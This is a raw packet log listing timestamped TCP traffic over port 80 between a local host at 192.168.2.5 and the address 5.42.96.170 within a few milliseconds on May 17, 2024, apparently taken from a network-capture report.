May 17, 2024 23:45:16.086110115 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.086110115 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.086121082 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.086169958 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.086169958 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.086169958 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.086988926 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.086998940 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.087007046 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.087013006 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.087127924 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.087136984 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.087136984 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.087287903 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.087300062 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.087307930 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.087318897 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.087421894 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.087433100 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.087441921 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.087450027 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.087459087 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.087470055 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.087479115 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.087479115 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.087479115 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.087479115 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.087479115 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.087491035 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.087502003 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.087510109 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.087519884 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.087528944 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.087538004 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.087560892 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.087570906 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.087578058 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.087578058 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.087578058 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.087578058 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.087589979 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.087599993 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.087609053 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.087619066 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.087627888 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.087640047 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.087654114 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.087671995 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.087671995 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.087671995 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.087671995 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.087696075 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.089106083 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.089116096 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.089124918 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.089135885 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.089145899 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.089155912 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.089165926 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.089174986 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.089184999 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.089195013 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.089204073 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.089211941 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.089211941 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.089211941 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.089211941 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.089212894 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.089226007 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.089241982 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.089248896 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.089248896 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.089266062 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.089277029 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.089284897 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.089294910 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.089303970 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.089314938 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.089323044 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.089334011 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.089344978 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.089344978 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.089344978 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.089344978 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.089345932 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.089355946 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.089364052 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.089370966 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.089380026 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.089389086 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.089399099 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.089416027 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.089428902 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.089428902 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.089428902 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.089428902 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.089428902 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.089437008 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.089448929 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.089457989 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.089468956 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.089473963 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.089483976 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.089493036 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.089504004 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.089514971 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.089524984 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.089534998 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.089544058 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.089553118 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.089553118 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.089553118 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.089553118 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.089553118 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.089564085 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.089572906 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.089581966 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.089591026 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.089591026 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.089600086 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.089610100 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.089618921 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.089628935 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.089638948 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.089648008 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.089658022 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.089658022 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.089658022 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.089664936 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.089672089 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.089682102 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.089690924 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.089701891 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.089710951 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.089710951 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.089710951 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.089917898 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.089917898 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.089926004 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.090069056 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.090080023 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.090092897 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.090097904 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.090106010 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.090116024 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.090126038 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.090137005 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.090147972 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.090161085 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.090167999 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.090167999 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.090167999 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.090167999 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.090167999 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.090179920 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.090189934 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.090200901 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.090200901 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.090208054 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.090217113 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.090231895 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.090241909 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.090250015 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.090257883 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.090267897 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.090276957 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.090286970 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.090296984 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.090306044 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.090316057 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.090316057 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.090316057 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.090316057 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.090316057 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.090331078 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.090337038 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.090415001 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.090415001 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.091229916 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.091239929 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.091248035 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.091284990 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.091372013 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.091381073 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.091389894 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.091394901 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.091403961 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.091411114 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.091418028 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.091487885 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.091487885 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.091514111 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.091522932 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.091531992 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.091541052 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.091550112 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.091559887 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.091569901 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.091586113 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.091594934 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.091604948 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.091614962 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.091628075 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.091634035 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.091634035 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.091634035 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.091634035 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.091634035 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.091654062 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.091662884 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.091670036 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.091670036 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.091680050 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.091691017 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.091700077 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.091710091 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.091717005 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.091717005 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.091788054 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.091788054 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.092551947 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.092561960 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.092571020 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.092581987 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.092590094 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.092600107 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.092609882 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.092619896 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.092628956 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.092658043 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.092658043 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.092658043 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.092658043 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.092658043 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.092679024 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.092689037 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.092696905 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.092705965 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.092715025 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.092725992 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.092736006 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.092745066 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.092756033 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.092767000 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.092767000 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.092767000 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.092767000 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.092767000 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.092778921 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.092788935 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.092797041 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.092820883 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.092827082 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.092827082 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.092827082 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.092842102 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.092850924 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.093342066 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.093353033 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.093362093 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.093648911 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.093658924 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.093667984 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.093667984 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.093667984 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.093667984 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.093679905 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.093689919 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.093698978 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.093709946 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.093719006 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.093765974 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.093765974 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.093765974 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.093765974 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.093765974 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.093786001 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.093796015 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.093805075 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.093812943 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.093822002 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.093832970 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.093841076 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.093849897 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.093849897 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.093849897 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.093861103 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.093868971 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.093877077 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.093885899 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.093894958 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.093904018 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.093919039 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.093928099 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.093928099 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.093928099 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.093939066 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.093949080 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.093959093 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.093966007 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.093966007 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.094002008 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.094789982 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.094799995 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.094808102 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.094815969 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.094825029 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.094836950 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.094846964 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.094856977 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.094866991 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.094877005 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.094886065 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.094894886 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.094894886 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.094894886 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.094894886 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.094894886 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.094924927 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.094929934 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.094929934 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.094938993 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.094948053 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.094958067 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.094974041 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.094986916 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.094996929 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.095005989 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.095016003 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.095026016 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.095035076 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.095035076 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.095035076 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.095035076 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.095035076 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.095046997 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.095057011 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.095065117 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.095083952 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.095083952 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.095083952 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.095221996 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.095698118 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.095709085 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.095717907 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.095747948 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.095747948 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.095747948 CEST	49707	80	192.168.2.5	5.42.96.170
